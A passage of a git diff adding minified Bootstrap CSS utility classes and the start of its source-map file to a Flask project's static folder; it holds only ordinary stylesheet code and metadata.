0)}.m-0{margin:0!important}.mt-0,.my-0{margin-top:0!important}.mr-0,.mx-0{margin-right:0!important}.mb-0,.my-0{margin-bottom:0!important}.ml-0,.mx-0{margin-left:0!important}.m-1{margin:0.25rem!important}.mt-1,.my-1{margin-top:0.25rem!important}.mr-1,.mx-1{margin-right:0.25rem!important}.mb-1,.my-1{margin-bottom:0.25rem!important}.ml-1,.mx-1{margin-left:0.25rem!important}.m-2{margin:0.5rem!important}.mt-2,.my-2{margin-top:0.5rem!important}.mr-2,.mx-2{margin-right:0.5rem!important}.mb-2,.my-2{margin-bottom:0.5rem!important}.ml-2,.mx-2{margin-left:0.5rem!important}.m-3{margin:1rem!important}.mt-3,.my-3{margin-top:1rem!important}.mr-3,.mx-3{margin-right:1rem!important}.mb-3,.my-3{margin-bottom:1rem!important}.ml-3,.mx-3{margin-left:1rem!important}.m-4{margin:1.5rem!important}.mt-4,.my-4{margin-top:1.5rem!important}.mr-4,.mx-4{margin-right:1.5rem!important}.mb-4,.my-4{margin-bottom:1.5rem!important}.ml-4,.mx-4{margin-left:1.5rem!important}.m-5{margin:3rem!important}.mt-5,.my-5{margin-top:3rem!important}.mr-5,.mx-5{margin-right:3rem!important}.mb-5,.my-5{margin-bottom:3rem!important}.ml-5,.mx-5{margin-left:3rem!important}.p-0{padding:0!important}.pt-0,.py-0{padding-top:0!important}.pr-0,.px-0{padding-right:0!important}.pb-0,.py-0{padding-bottom:0!important}.pl-0,.px-0{padding-left:0!important}.p-1{padding:0.25rem!important}.pt-1,.py-1{padding-top:0.25rem!important}.pr-1,.px-1{padding-right:0.25rem!important}.pb-1,.py-1{padding-bottom:0.25rem!important}.pl-1,.px-1{padding-left:0.25rem!important}.p-2{padding:0.5rem!important}.pt-2,.py-2{padding-top:0.5rem!important}.pr-2,.px-2{padding-right:0.5rem!important}.pb-2,.py-2{padding-bottom:0.5rem!important}.pl-2,.px-2{padding-left:0.5rem!important}.p-3{padding:1rem!important}.pt-3,.py-3{padding-top:1rem!important}.pr-3,.px-3{padding-right:1rem!important}.pb-3,.py-3{padding-bottom:1rem!important}.pl-3,.px-3{padding-left:1rem!important}.p-4{padding:1.5rem!important}.pt-4,.py-4{padding-top:1.5rem!important}.pr-4,.px-4{padding-right:1.5rem!important}.pb-4,.py-4{padding-bottom:1.5rem!important}.pl-4,.px-4{padding-left:1.5rem!important}.p-5{padding:3rem!important}.pt-5,.py-5{padding-top:3rem!important}.pr-5,.px-5{padding-right:3rem!important}.pb-5,.py-5{padding-bottom:3rem!important}.pl-5,.px-5{padding-left:3rem!important}.m-n1{margin:-0.25rem!important}.mt-n1,.my-n1{margin-top:-0.25rem!important}.mr-n1,.mx-n1{margin-right:-0.25rem!important}.mb-n1,.my-n1{margin-bottom:-0.25rem!important}.ml-n1,.mx-n1{margin-left:-0.25rem!important}.m-n2{margin:-0.5rem!important}.mt-n2,.my-n2{margin-top:-0.5rem!important}.mr-n2,.mx-n2{margin-right:-0.5rem!important}.mb-n2,.my-n2{margin-bottom:-0.5rem!important}.ml-n2,.mx-n2{margin-left:-0.5rem!important}.m-n3{margin:-1rem!important}.mt-n3,.my-n3{margin-top:-1rem!important}.mr-n3,.mx-n3{margin-right:-1rem!important}.mb-n3,.my-n3{margin-bottom:-1rem!important}.ml-n3,.mx-n3{margin-left:-1rem!important}.m-n4{margin:-1.5rem!important}.mt-n4,.my-n4{margin-top:-1.5rem!important}.mr-n4,.mx-n4{margin-right:-1.5rem!important}.mb-n4,.my-n4{margin-bottom:-1.5rem!important}.ml-n4,.mx-n4{margin-left:-1.5rem!important}.m-n5{margin:-3rem!important}.mt-n5,.my-n5{margin-top:-3rem!important}.mr-n5,.mx-n5{margin-right:-3rem!important}.mb-n5,.my-n5{margin-bottom:-3rem!important}.ml-n5,.mx-n5{margin-left:-3rem!important}.m-auto{margin:auto!important}.mt-auto,.my-auto{margin-top:auto!important}.mr-auto,.mx-auto{margin-right:auto!important}.mb-auto,.my-auto{margin-bottom:auto!important}.ml-auto,.mx-auto{margin-left:auto!important}@media (min-width:576px){.m-sm-0{margin:0!important}.mt-sm-0,.my-sm-0{margin-top:0!important}.mr-sm-0,.mx-sm-0{margin-right:0!important}.mb-sm-0,.my-sm-0{margin-bottom:0!important}.ml-sm-0,.mx-sm-0{margin-left:0!important}.m-sm-1{margin:0.25rem!important}.mt-sm-1,.my-sm-1{margin-top:0.25rem!important}.mr-sm-1,.mx-sm-1{margin-right:0.25rem!important}.mb-sm-1,.my-sm-1{margin-bottom:0.25rem!important}.ml-sm-1,.mx-sm-1{margin-left:0.25rem!important}.m-sm-2{margin:0.5rem!important}.mt-sm-2,.my-sm-2{margin-top:0.5rem!important}.mr-sm-2,.mx-sm-2{margin-right:0.5rem!important}.mb-sm-2,.my-sm-2{margin-bottom:0.5rem!important}.ml-sm-2,.mx-sm-2{margin-left:0.5rem!important}.m-sm-3{margin:1rem!important}.mt-sm-3,.my-sm-3{margin-top:1rem!important}.mr-sm-3,.mx-sm-3{margin-right:1rem!important}.mb-sm-3,.my-sm-3{margin-bottom:1rem!important}.ml-sm-3,.mx-sm-3{margin-left:1rem!important}.m-sm-4{margin:1.5rem!important}.mt-sm-4,.my-sm-4{margin-top:1.5rem!important}.mr-sm-4,.mx-sm-4{margin-right:1.5rem!important}.mb-sm-4,.my-sm-4{margin-bottom:1.5rem!important}.ml-sm-4,.mx-sm-4{margin-left:1.5rem!important}.m-sm-5{margin:3rem!important}.mt-sm-5,.my-sm-5{margin-top:3rem!important}.mr-sm-5,.mx-sm-5{margin-right:3rem!important}.mb-sm-5,.my-sm-5{margin-bottom:3rem!important}.ml-sm-5,.mx-sm-5{margin-left:3rem!important}.p-sm-0{padding:0!important}.pt-sm-0,.py-sm-0{padding-top:0!important}.pr-sm-0,.px-sm-0{padding-right:0!important}.pb-sm-0,.py-sm-0{padding-bottom:0!important}.pl-sm-0,.px-sm-0{padding-left:0!important}.p-sm-1{padding:0.25rem!important}.pt-sm-1,.py-sm-1{padding-top:0.25rem!important}.pr-sm-1,.px-sm-1{padding-right:0.25rem!important}.pb-sm-1,.py-sm-1{padding-bottom:0.25rem!important}.pl-sm-1,.px-sm-1{padding-left:0.25rem!important}.p-sm-2{padding:0.5rem!important}.pt-sm-2,.py-sm-2{padding-top:0.5rem!important}.pr-sm-2,.px-sm-2{padding-right:0.5rem!important}.pb-sm-2,.py-sm-2{padding-bottom:0.5rem!important}.pl-sm-2,.px-sm-2{padding-left:0.5rem!important}.p-sm-3{padding:1rem!important}.pt-sm-3,.py-sm-3{padding-top:1rem!important}.pr-sm-3,.px-sm-3{padding-right:1rem!important}.pb-sm-3,.py-sm-3{padding-bottom:1rem!important}.pl-sm-3,.px-sm-3{padding-left:1rem!important}.p-sm-4{padding:1.5rem!important}.pt-sm-4,.py-sm-4{padding-top:1.5rem!important}.pr-sm-4,.px-sm-4{padding-right:1.5rem!important}.pb-sm-4,.py-sm-4{padding-bottom:1.5rem!important}.pl-sm-4,.px-sm-4{padding-left:1.5rem!important}.p-sm-5{padding:3rem!important}.pt-sm-5,.py-sm-5{padding-top:3rem!important}.pr-sm-5,.px-sm-5{padding-right:3rem!important}.pb-sm-5,.py-sm-5{padding-bottom:3rem!important}.pl-sm-5,.px-sm-5{padding-left:3rem!important}.m-sm-n1{margin:-0.25rem!important}.mt-sm-n1,.my-sm-n1{margin-top:-0.25rem!important}.mr-sm-n1,.mx-sm-n1{margin-right:-0.25rem!important}.mb-sm-n1,.my-sm-n1{margin-bottom:-0.25rem!important}.ml-sm-n1,.mx-sm-n1{margin-left:-0.25rem!important}.m-sm-n2{margin:-0.5rem!important}.mt-sm-n2,.my-sm-n2{margin-top:-0.5rem!important}.mr-sm-n2,.mx-sm-n2{margin-right:-0.5rem!important}.mb-sm-n2,.my-sm-n2{margin-bottom:-0.5rem!important}.ml-sm-n2,.mx-sm-n2{margin-left:-0.5rem!important}.m-sm-n3{margin:-1rem!important}.mt-sm-n3,.my-sm-n3{margin-top:-1rem!important}.mr-sm-n3,.mx-sm-n3{margin-right:-1rem!important}.mb-sm-n3,.my-sm-n3{margin-bottom:-1rem!important}.ml-sm-n3,.mx-sm-n3{margin-left:-1rem!important}.m-sm-n4{margin:-1.5rem!important}.mt-sm-n4,.my-sm-n4{margin-top:-1.5rem!important}.mr-sm-n4,.mx-sm-n4{margin-right:-1.5rem!important}.mb-sm-n4,.my-sm-n4{margin-bottom:-1.5rem!important}.ml-sm-n4,.mx-sm-n4{margin-left:-1.5rem!important}.m-sm-n5{margin:-3rem!important}.mt-sm-n5,.my-sm-n5{margin-top:-3rem!important}.mr-sm-n5,.mx-sm-n5{margin-right:-3rem!important}.mb-sm-n5,.my-sm-n5{margin-bottom:-3rem!important}.ml-sm-n5,.mx-sm-n5{margin-left:-3rem!important}.m-sm-auto{margin:auto!important}.mt-sm-auto,.my-sm-auto{margin-top:auto!important}.mr-sm-auto,.mx-sm-auto{margin-right:auto!important}.mb-sm-auto,.my-sm-auto{margin-bottom:auto!important}.ml-sm-auto,.mx-sm-auto{margin-left:auto!important}}@media (min-width:768px){.m-md-0{margin:0!important}.mt-md-0,.my-md-0{margin-top:0!important}.mr-md-0,.mx-md-0{margin-right:0!important}.mb-md-0,.my-md-0{margin-bottom:0!important}.ml-md-0,.mx-md-0{margin-left:0!important}.m-md-1{margin:0.25rem!important}.mt-md-1,.my-md-1{margin-top:0.25rem!important}.mr-md-1,.mx-md-1{margin-right:0.25rem!important}.mb-md-1,.my-md-1{margin-bottom:0.25rem!important}.ml-md-1,.mx-md-1{margin-left:0.25rem!important}.m-md-2{margin:0.5rem!important}.mt-md-2,.my-md-2{margin-top:0.5rem!important}.mr-md-2,.mx-md-2{margin-right:0.5rem!important}.mb-md-2,.my-md-2{margin-bottom:0.5rem!important}.ml-md-2,.mx-md-2{margin-left:0.5rem!important}.m-md-3{margin:1rem!important}.mt-md-3,.my-md-3{margin-top:1rem!important}.mr-md-3,.mx-md-3{margin-right:1rem!important}.mb-md-3,.my-md-3{margin-bottom:1rem!important}.ml-md-3,.mx-md-3{margin-left:1rem!important}.m-md-4{margin:1.5rem!important}.mt-md-4,.my-md-4{margin-top:1.5rem!important}.mr-md-4,.mx-md-4{margin-right:1.5rem!important}.mb-md-4,.my-md-4{margin-bottom:1.5rem!important}.ml-md-4,.mx-md-4{margin-left:1.5rem!important}.m-md-5{margin:3rem!important}.mt-md-5,.my-md-5{margin-top:3rem!important}.mr-md-5,.mx-md-5{margin-right:3rem!important}.mb-md-5,.my-md-5{margin-bottom:3rem!important}.ml-md-5,.mx-md-5{margin-left:3rem!important}.p-md-0{padding:0!important}.pt-md-0,.py-md-0{padding-top:0!important}.pr-md-0,.px-md-0{padding-right:0!important}.pb-md-0,.py-md-0{padding-bottom:0!important}.pl-md-0,.px-md-0{padding-left:0!important}.p-md-1{padding:0.25rem!important}.pt-md-1,.py-md-1{padding-top:0.25rem!important}.pr-md-1,.px-md-1{padding-right:0.25rem!important}.pb-md-1,.py-md-1{padding-bottom:0.25rem!important}.pl-md-1,.px-md-1{padding-left:0.25rem!important}.p-md-2{padding:0.5rem!important}.pt-md-2,.py-md-2{padding-top:0.5rem!important}.pr-md-2,.px-md-2{padding-right:0.5rem!important}.pb-md-2,.py-md-2{padding-bottom:0.5rem!important}.pl-md-2,.px-md-2{padding-left:0.5rem!important}.p-md-3{padding:1rem!important}.pt-md-3,.py-md-3{padding-top:1rem!important}.pr-md-3,.px-md-3{padding-right:1rem!important}.pb-md-3,.py-md-3{padding-bottom:1rem!important}.pl-md-3,.px-md-3{padding-left:1rem!important}.p-md-4{padding:1.5rem!important}.pt-md-4,.py-md-4{padding-top:1.5rem!important}.pr-md-4,.px-md-4{padding-right:1.5rem!important}.pb-md-4,.py-md-4{padding-bottom:1.5rem!important}.pl-md-4,.px-md-4{padding-left:1.5rem!important}.p-md-5{padding:3rem!important}.pt-md-5,.py-md-5{padding-top:3rem!important}.pr-md-5,.px-md-5{padding-right:3rem!important}.pb-md-5,.py-md-5{padding-bottom:3rem!important}.pl-md-5,.px-md-5{padding-left:3rem!important}.m-md-n1{margin:-0.25rem!important}.mt-md-n1,.my-md-n1{margin-top:-0.25rem!important}.mr-md-n1,.mx-md-n1{margin-right:-0.25rem!important}.mb-md-n1,.my-md-n1{margin-bottom:-0.25rem!important}.ml-md-n1,.mx-md-n1{margin-left:-0.25rem!important}.m-md-n2{margin:-0.5rem!important}.mt-md-n2,.my-md-n2{margin-top:-0.5rem!important}.mr-md-n2,.mx-md-n2{margin-right:-0.5rem!important}.mb-md-n2,.my-md-n2{margin-bottom:-0.5rem!important}.ml-md-n2,.mx-md-n2{margin-left:-0.5rem!important}.m-md-n3{margin:-1rem!important}.mt-md-n3,.my-md-n3{margin-top:-1rem!important}.mr-md-n3,.mx-md-n3{margin-right:-1rem!important}.mb-md-n3,.my-md-n3{margin-bottom:-1rem!important}.ml-md-n3,.mx-md-n3{margin-left:-1rem!important}.m-md-n4{margin:-1.5rem!important}.mt-md-n4,.my-md-n4{margin-top:-1.5rem!important}.mr-md-n4,.mx-md-n4{margin-right:-1.5rem!important}.mb-md-n4,.my-md-n4{margin-bottom:-1.5rem!important}.ml-md-n4,.mx-md-n4{margin-left:-1.5rem!important}.m-md-n5{margin:-3rem!important}.mt-md-n5,.my-md-n5{margin-top:-3rem!important}.mr-md-n5,.mx-md-n5{margin-right:-3rem!important}.mb-md-n5,.my-md-n5{margin-bottom:-3rem!important}.ml-md-n5,.mx-md-n5{margin-left:-3rem!important}.m-md-auto{margin:auto!important}.mt-md-auto,.my-md-auto{margin-top:auto!important}.mr-md-auto,.mx-md-auto{margin-right:auto!important}.mb-md-auto,.my-md-auto{margin-bottom:auto!important}.ml-md-auto,.mx-md-auto{margin-left:auto!important}}@media (min-width:992px){.m-lg-0{margin:0!important}.mt-lg-0,.my-lg-0{margin-top:0!important}.mr-lg-0,.mx-lg-0{margin-right:0!important}.mb-lg-0,.my-lg-0{margin-bottom:0!important}.ml-lg-0,.mx-lg-0{margin-left:0!important}.m-lg-1{margin:0.25rem!important}.mt-lg-1,.my-lg-1{margin-top:0.25rem!important}.mr-lg-1,.mx-lg-1{margin-right:0.25rem!important}.mb-lg-1,.my-lg-1{margin-bottom:0.25rem!important}.ml-lg-1,.mx-lg-1{margin-left:0.25rem!important}.m-lg-2{margin:0.5rem!important}.mt-lg-2,.my-lg-2{margin-top:0.5rem!important}.mr-lg-2,.mx-lg-2{margin-right:0.5rem!important}.mb-lg-2,.my-lg-2{margin-bottom:0.5rem!important}.ml-lg-2,.mx-lg-2{margin-left:0.5rem!important}.m-lg-3{margin:1rem!important}.mt-lg-3,.my-lg-3{margin-top:1rem!important}.mr-lg-3,.mx-lg-3{margin-right:1rem!important}.mb-lg-3,.my-lg-3{margin-bottom:1rem!important}.ml-lg-3,.mx-lg-3{margin-left:1rem!important}.m-lg-4{margin:1.5rem!important}.mt-lg-4,.my-lg-4{margin-top:1.5rem!important}.mr-lg-4,.mx-lg-4{margin-right:1.5rem!important}.mb-lg-4,.my-lg-4{margin-bottom:1.5rem!important}.ml-lg-4,.mx-lg-4{margin-left:1.5rem!important}.m-lg-5{margin:3rem!important}.mt-lg-5,.my-lg-5{margin-top:3rem!important}.mr-lg-5,.mx-lg-5{margin-right:3rem!important}.mb-lg-5,.my-lg-5{margin-bottom:3rem!important}.ml-lg-5,.mx-lg-5{margin-left:3rem!important}.p-lg-0{padding:0!important}.pt-lg-0,.py-lg-0{padding-top:0!important}.pr-lg-0,.px-lg-0{padding-right:0!important}.pb-lg-0,.py-lg-0{padding-bottom:0!important}.pl-lg-0,.px-lg-0{padding-left:0!important}.p-lg-1{padding:0.25rem!important}.pt-lg-1,.py-lg-1{padding-top:0.25rem!important}.pr-lg-1,.px-lg-1{padding-right:0.25rem!important}.pb-lg-1,.py-lg-1{padding-bottom:0.25rem!important}.pl-lg-1,.px-lg-1{padding-left:0.25rem!important}.p-lg-2{padding:0.5rem!important}.pt-lg-2,.py-lg-2{padding-top:0.5rem!important}.pr-lg-2,.px-lg-2{padding-right:0.5rem!important}.pb-lg-2,.py-lg-2{padding-bottom:0.5rem!important}.pl-lg-2,.px-lg-2{padding-left:0.5rem!important}.p-lg-3{padding:1rem!important}.pt-lg-3,.py-lg-3{padding-top:1rem!important}.pr-lg-3,.px-lg-3{padding-right:1rem!important}.pb-lg-3,.py-lg-3{padding-bottom:1rem!important}.pl-lg-3,.px-lg-3{padding-left:1rem!important}.p-lg-4{padding:1.5rem!important}.pt-lg-4,.py-lg-4{padding-top:1.5rem!important}.pr-lg-4,.px-lg-4{padding-right:1.5rem!important}.pb-lg-4,.py-lg-4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!important}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-bottom:3rem!important}.pl-lg-5,.px-lg-5{padding-left:3rem!important}.m-lg-n1{margin:-0.25rem!important}.mt-lg-n1,.my-lg-n1{margin-top:-0.25rem!important}.mr-lg-n1,.mx-lg-n1{margin-right:-0.25rem!important}.mb-lg-n1,.my-lg-n1{margin-bottom:-0.25rem!important}.ml-lg-n1,.mx-lg-n1{margin-left:-0.25rem!important}.m-lg-n2{margin:-0.5rem!important}.mt-lg-n2,.my-lg-n2{margin-top:-0.5rem!important}.mr-lg-n2,.mx-lg-n2{margin-right:-0.5rem!important}.mb-lg-n2,.my-lg-n2{margin-bottom:-0.5rem!important}.ml-lg-n2,.mx-lg-n2{margin-left:-0.5rem!important}.m-lg-n3{margin:-1rem!important}.mt-lg-n3,.my-lg-n3{margin-top:-1rem!important}.mr-lg-n3,.mx-lg-n3{margin-right:-1rem!important}.mb-lg-n3,.my-lg-n3{margin-bottom:-1rem!important}.ml-lg-n3,.mx-lg-n3{margin-left:-1rem!important}.m-lg-n4{margin:-1.5rem!important}.mt-lg-n4,.my-lg-n4{margin-top:-1.5rem!important}.mr-lg-n4,.mx-lg-n4{margin-right:-1.5rem!important}.mb-lg-n4,.my-lg-n4{margin-bottom:-1.5rem!important}.ml-lg-n4,.mx-lg-n4{margin-left:-1.5rem!important}.m-lg-n5{margin:-3rem!important}.mt-lg-n5,.my-lg-n5{margin-top:-3rem!important}.mr-lg-n5,.mx-lg-n5{margin-right:-3rem!important}.mb-lg-n5,.my-lg-n5{margin-bottom:-3rem!important}.ml-lg-n5,.mx-lg-n5{margin-left:-3rem!important}.m-lg-auto{margin:auto!important}.mt-lg-auto,.my-lg-auto{margin-top:auto!important}.mr-lg-auto,.mx-lg-auto{margin-right:auto!important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto!important}.ml-lg-auto,.mx-lg-auto{margin-left:auto!important}}@media (min-width:1200px){.m-xl-0{margin:0!important}.mt-xl-0,.my-xl-0{margin-top:0!important}.mr-xl-0,.mx-xl-0{margin-right:0!important}.mb-xl-0,.my-xl-0{margin-bottom:0!important}.ml-xl-0,.mx-xl-0{margin-left:0!important}.m-xl-1{margin:0.25rem!important}.mt-xl-1,.my-xl-1{margin-top:0.25rem!important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem!important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem!important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem!important}.m-xl-2{margin:0.5rem!important}.mt-xl-2,.my-xl-2{margin-top:0.5rem!important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem!important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem!important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem!important}.m-xl-3{margin:1rem!important}.mt-xl-3,.my-xl-3{margin-top:1rem!important}.mr-xl-3,.mx-xl-3{margin-right:1rem!important}.mb-xl-3,.my-xl-3{margin-bottom:1rem!important}.ml-xl-3,.mx-xl-3{margin-left:1rem!important}.m-xl-4{margin:1.5rem!important}.mt-xl-4,.my-xl-4{margin-top:1.5rem!important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem!important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem!important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem!important}.m-xl-5{margin:3rem!important}.mt-xl-5,.my-xl-5{margin-top:3rem!important}.mr-xl-5,.mx-xl-5{margin-right:3rem!important}.mb-xl-5,.my-xl-5{margin-bottom:3rem!important}.ml-xl-5,.mx-xl-5{margin-left:3rem!important}.p-xl-0{padding:0!important}.pt-xl-0,.py-xl-0{padding-top:0!important}.pr-xl-0,.px-xl-0{padding-right:0!important}.pb-xl-0,.py-xl-0{padding-bottom:0!important}.pl-xl-0,.px-xl-0{padding-left:0!important}.p-xl-1{padding:0.25rem!important}.pt-xl-1,.py-xl-1{padding-top:0.25rem!important}.pr-xl-1,.px-xl-1{padding-right:0.25rem!important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem!important}.pl-xl-1,.px-xl-1{padding-left:0.25rem!important}.p-xl-2{padding:0.5rem!important}.pt-xl-2,.py-xl-2{padding-top:0.5rem!important}.pr-xl-2,.px-xl-2{padding-right:0.5rem!important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem!important}.pl-xl-2,.px-xl-2{padding-left:0.5rem!important}.p-xl-3{padding:1rem!important}.pt-xl-3,.py-xl-3{padding-top:1rem!important}.pr-xl-3,.px-xl-3{padding-right:1rem!important}.pb-xl-3,.py-xl-3{padding-bottom:1rem!important}.pl-xl-3,.px-xl-3{padding-left:1rem!important}.p-xl-4{padding:1.5rem!important}.pt-xl-4,.py-xl-4{padding-top:1.5rem!important}.pr-xl-4,.px-xl-4{padding-right:1.5rem!important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem!important}.pl-xl-4,.px-xl-4{padding-left:1.5rem!important}.p-xl-5{padding:3rem!important}.pt-xl-5,.py-xl-5{padding-top:3rem!important}.pr-xl-5,.px-xl-5{padding-right:3rem!important}.pb-xl-5,.py-xl-5{padding-bottom:3rem!important}.pl-xl-5,.px-xl-5{padding-left:3rem!important}.m-xl-n1{margin:-0.25rem!important}.mt-xl-n1,.my-xl-n1{margin-top:-0.25rem!important}.mr-xl-n1,.mx-xl-n1{margin-right:-0.25rem!important}.mb-xl-n1,.my-xl-n1{margin-bottom:-0.25rem!important}.ml-xl-n1,.mx-xl-n1{margin-left:-0.25rem!important}.m-xl-n2{margin:-0.5rem!important}.mt-xl-n2,.my-xl-n2{margin-top:-0.5rem!important}.mr-xl-n2,.mx-xl-n2{margin-right:-0.5rem!important}.mb-xl-n2,.my-xl-n2{margin-bottom:-0.5rem!important}.ml-xl-n2,.mx-xl-n2{margin-left:-0.5rem!important}.m-xl-n3{margin:-1rem!important}.mt-xl-n3,.my-xl-n3{margin-top:-1rem!important}.mr-xl-n3,.mx-xl-n3{margin-right:-1rem!important}.mb-xl-n3,.my-xl-n3{margin-bottom:-1rem!important}.ml-xl-n3,.mx-xl-n3{margin-left:-1rem!important}.m-xl-n4{margin:-1.5rem!important}.mt-xl-n4,.my-xl-n4{margin-top:-1.5rem!important}.mr-xl-n4,.mx-xl-n4{margin-right:-1.5rem!important}.mb-xl-n4,.my-xl-n4{margin-bottom:-1.5rem!important}.ml-xl-n4,.mx-xl-n4{margin-left:-1.5rem!important}.m-xl-n5{margin:-3rem!important}.mt-xl-n5,.my-xl-n5{margin-top:-3rem!important}.mr-xl-n5,.mx-xl-n5{margin-right:-3rem!important}.mb-xl-n5,.my-xl-n5{margin-bottom:-3rem!important}.ml-xl-n5,.mx-xl-n5{margin-left:-3rem!important}.m-xl-auto{margin:auto!important}.mt-xl-auto,.my-xl-auto{margin-top:auto!important}.mr-xl-auto,.mx-xl-auto{margin-right:auto!important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto!important}.ml-xl-auto,.mx-xl-auto{margin-left:auto!important}}.text-monospace{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace!important}.text-justify{text-align:justify!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-truncate{overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left!important}.text-right{text-align:right!important}.text-center{text-align:center!important}@media (min-width:576px){.text-sm-left{text-align:left!important}.text-sm-right{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.text-md-left{text-align:left!important}.text-md-right{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.text-lg-left{text-align:left!important}.text-lg-right{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.text-xl-left{text-align:left!important}.text-xl-right{text-align:right!important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-weight:300!important}.font-weight-lighter{font-weight:lighter!important}.font-weight-normal{font-weight:400!important}.font-weight-bold{font-weight:700!important}.font-weight-bolder{font-weight:bolder!important}.font-italic{font-style:italic!important}.text-white{color:#fff!important}.text-primary{color:#fb771a!important}a.text-primary:focus,a.text-primary:hover{color:#c55303!important}.text-secondary{color:#6c757d!important}a.text-secondary:focus,a.text-secondary:hover{color:#494f54!important}.text-success{color:#28a745!important}a.text-success:focus,a.text-success:hover{color:#19692c!important}.text-info{color:#17a2b8!important}a.text-info:focus,a.text-info:hover{color:#0f6674!important}.text-warning{color:#ffc107!important}a.text-warning:focus,a.text-warning:hover{color:#ba8b00!important}.text-danger{color:#dc3545!important}a.text-danger:focus,a.text-danger:hover{color:#a71d2a!important}.text-light{color:#f8f9fa!important}a.text-light:focus,a.text-light:hover{color:#cbd3da!important}.text-dark{color:#343a40!important}a.text-dark:focus,a.text-dark:hover{color:#121416!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0, 0, 0, 0.5)!important}.text-white-50{color:rgba(255, 255, 255, 0.5)!important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.text-decoration-none{text-decoration:none!important}.text-break{word-break:break-word!important;overflow-wrap:break-word!important}.text-reset{color:inherit!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media print{*,:after,:before{text-shadow:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}a:not(.btn){text-decoration:underline}abbr[title]:after{content:" (" attr(title) ")"}pre{white-space:pre-wrap!important}blockquote,pre{border:1px solid #adb5bd;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px!important}.container{min-width:992px!important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #dee2e6!important}.table-dark{color:inherit}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#dee2e6}.table .thead-dark th{color:inherit;border-color:#dee2e6}} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/css/bootstrap.min.css.map b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/bootstrap.min.css.map new file mode 100644 index 00000000..00f48d18 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/css/bootstrap.min.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["../scss/bootstrap/bootstrap.scss","../scss/bootstrap/_root.scss","../scss/bootstrap/_reboot.scss","../scss/bootstrap/_variables.scss","../scss/bootstrap/vendor/_rfs.scss","../scss/bootstrap/bootstrap.css","../scss/bootstrap/mixins/_hover.scss","../scss/bootstrap/_type.scss","../scss/bootstrap/mixins/_lists.scss","../scss/bootstrap/_images.scss","../scss/bootstrap/mixins/_image.scss","../scss/bootstrap/mixins/_border-radius.scss","../scss/bootstrap/_code.scss","../scss/bootstrap/_grid.scss","../scss/bootstrap/mixins/_grid.scss","../scss/bootstrap/mixins/_breakpoints.scss","../scss/bootstrap/mixins/_grid-framework.scss","../scss/bootstrap/_tables.scss","../scss/bootstrap/mixins/_table-row.scss","../scss/bootstrap/_functions.scss","../scss/bootstrap/_forms.scss","../scss/bootstrap/mixins/_transition.scss","../scss/bootstrap/mixins/_forms.scss","../scss/bootstrap/mixins/_gradients.scss","../scss/bootstrap/_buttons.scss","../scss/bootstrap/mixins/_buttons.scss","../scss/bootstrap/_transitions.scss","../scss/bootstrap/_dropdown.scss","../scss/bootstrap/mixins/_caret.scss","../scss/bootstrap/mixins/_nav-divider.scss","../scss/bootstrap/_button-group.scss","../scss/bootstrap/_input-group.scss","../scss/bootstrap/_custom-forms.scss","../scss/bootstrap/_nav.scss","../scss/bootstrap/_navbar.scss","../scss/bootstrap/_card.scss","../scss/bootstrap/_breadcrumb.scss","../scss/bootstrap/_pagination.scss","../scss/bootstrap/mixins/_pagination.scss","../scss/bootstrap/_badge.scss","../scss/bootstrap/mixins/_badge.scss","../scss/bootstrap/_jumbotron.scss","../scss/bootstrap/_alert.scss","../scss/bootstrap/mixins/_alert.scss","../scss/bootstrap/_progress.scss","../scss/bootstrap/_media.scss","../scss/bootstrap/_list-group.scss","../scss/bootstrap/mixins/_list-group.scss","../scss/bootstrap/_close.scss","../scss/bootstrap/_toasts.scss","../scss/bootstrap/_modal.scss","../scss/bootstrap/_tooltip.scss","../scss/bootstrap/mixins/_reset-text.scss","../scss/bootstrap/_popover.scss","../scss/bootstrap/_carousel.scss","../scss/bootstrap/mixins/_clearfix.scss","../scss/bootstrap/_spinners.scss","../scss/bootstrap/utilities/_align.scss","../scss/bootstrap/mixins/_background-variant.scss","../scss/bootstrap/utilities/_background.scss","../scss